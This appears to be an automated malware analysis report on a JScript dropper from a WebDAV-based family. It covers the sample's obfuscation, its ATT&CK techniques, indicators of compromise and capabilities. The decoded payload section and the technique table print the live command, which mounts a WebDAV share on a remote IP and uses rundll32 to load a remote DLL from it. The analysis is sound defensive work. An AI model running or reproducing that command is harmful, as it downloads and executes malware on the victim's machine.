ff3c6d0ccbf3 — Unclassified JS WebDAV Dropper (Sibling 68)

Filename: 5501327642296931495.js Size: 1,303,219 bytes Type: JScript (Windows Script Host) ^[file.txt] Family: unclassified-js-webdav-dropper — sixty-eighth confirmed sibling.

Build / RE

Language: JScript (Windows Script Host), single-file dropper. ^[file.txt]
Obfuscation dialect: Dictionary lookup-table (62 entries, random noise keys). A 160-character random-alphabet variable name (zrnyfnvyjflmkviozwzsvxneprivsxvyqhnvptzlmxpitmyuhztxddrjfbscudjnnavkxqwbijeycuorpilqpqjikwduqvmueypshavmqogxjojzhcwqsjvddvzyepfoekehnnjylnmjesqcjwxivxtunirkwxqdrsjmjnrtkqkhilwytfdbfyjvtxxc) holds the dictionary. ^[strings.txt:1] ^[decoded]
Decoder engine: Function('return this')() global-context construction with +-chained string literals and variable references assembling the decoded payload at runtime. ^[decoded]
Anti-analysis: None — no debugger checks, VM detection, time-bombs, or connectivity gates. Static-only (CAPE skipped non-binary). ^[dynamic-analysis.md:1]
Code quality: Low — hand-written, verbose, repetitive. No commercial obfuscator signatures.

Deploy / ATT&CK

Tactic	Technique	Evidence
Execution	T1059.005 (Visual Basic / JScript)	`.js` file executed by user; WScript shell spawn. ^[decoded]
Execution	T1218.011 (Rundll32)	`rundll32 \\94.159.113.86@8888\davwwwroot\28887704312699.dll,Entry` ^[decoded]
Defense Evasion	T1218 (System Binary Proxy Execution)	`rundll32` is a signed system binary used to load remote DLL. ^[decoded]
Defense Evasion	T1036.005 (Match Legitimate Name or Location)	Numeric filename masquerades as benign data file. ^[triage.json]
Defense Evasion	T1027 (Obfuscated Files or Information)	62-entry random-noise dictionary lookup-table obfuscation. ^[decoded]
Command & Control	T1071.001 (Web Protocols)	WebDAV over HTTP (`\\94.159.113.86@8888\DavWWWRoot\`) ^[decoded]
Command & Control	T1105 (Ingress Tool Transfer)	`net use` mounts WebDAV share; `rundll32` fetches and loads remote DLL. ^[decoded]

Decoded Payload

return thisWScriptCreateObjectWScript.Shellruncmd /c net use \\
94.159.113.86@8888\davwwwroot\ & rundll32 \\
94.159.113.86@8888\davwwwroot\28887704312699.dll,Entry

C2: 94.159.113.86:8888 (WebDAV, single domain for mount + fetch) Payload: 28887704312699.dll Execution: rundll32 with ,Entry export (not regsvr32 /s)

Sibling Linkage

This sample is a sixty-eighth confirmed sibling of the unclassified-js-webdav-dropper family. It shares the dictionary lookup-table obfuscation engine (62 entries, random noise keys) and WebDAV C2 infrastructure pattern with prior siblings, but uses rundll32 ...,Entry instead of the more common regsvr32 /s. The C2 IP 94.159.113.86 is new to the family (prior siblings used .13, .32, .36, .79, .82, .84, .204, dailywebstats.com, and cloudslimit.com).

IOCs

Indicator	Type	Context
`94.159.113.86:8888`	IPv4:port	WebDAV C2
`\\94.159.113.86@8888\davwwwroot\`	UNC path	WebDAV mount point
`28887704312699.dll`	filename	Remote DLL payload

Capabilities

js-dictionary-char-lookup-obfuscation
function-return-this-global-construction
random-noise-dictionary-62-entry
rundll32-comma-entry-execution
webdav-unc-mount-payload-fetch
no-persistence-one-shot
no-sandbox-gate-execution

> Analysis · ff3c6d0ccbf3_